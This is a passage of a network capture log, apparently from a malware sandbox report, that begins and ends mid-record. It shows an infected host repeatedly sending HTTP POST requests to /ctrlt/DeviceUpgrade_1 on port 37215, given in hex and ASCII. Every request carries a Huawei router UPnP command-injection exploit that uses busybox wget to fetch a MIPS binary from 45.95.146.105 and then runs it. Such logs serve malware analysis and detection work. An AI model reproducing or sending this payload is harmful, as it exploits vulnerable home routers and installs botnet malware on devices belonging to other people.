22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:41.276509047 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:44.956598043 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:52.380592108 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:06.972564936 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:37.948528051 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	44364	154.194.156.9	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:37.913939953 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:39.484487057 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:41.340502024 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:45.212575912 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 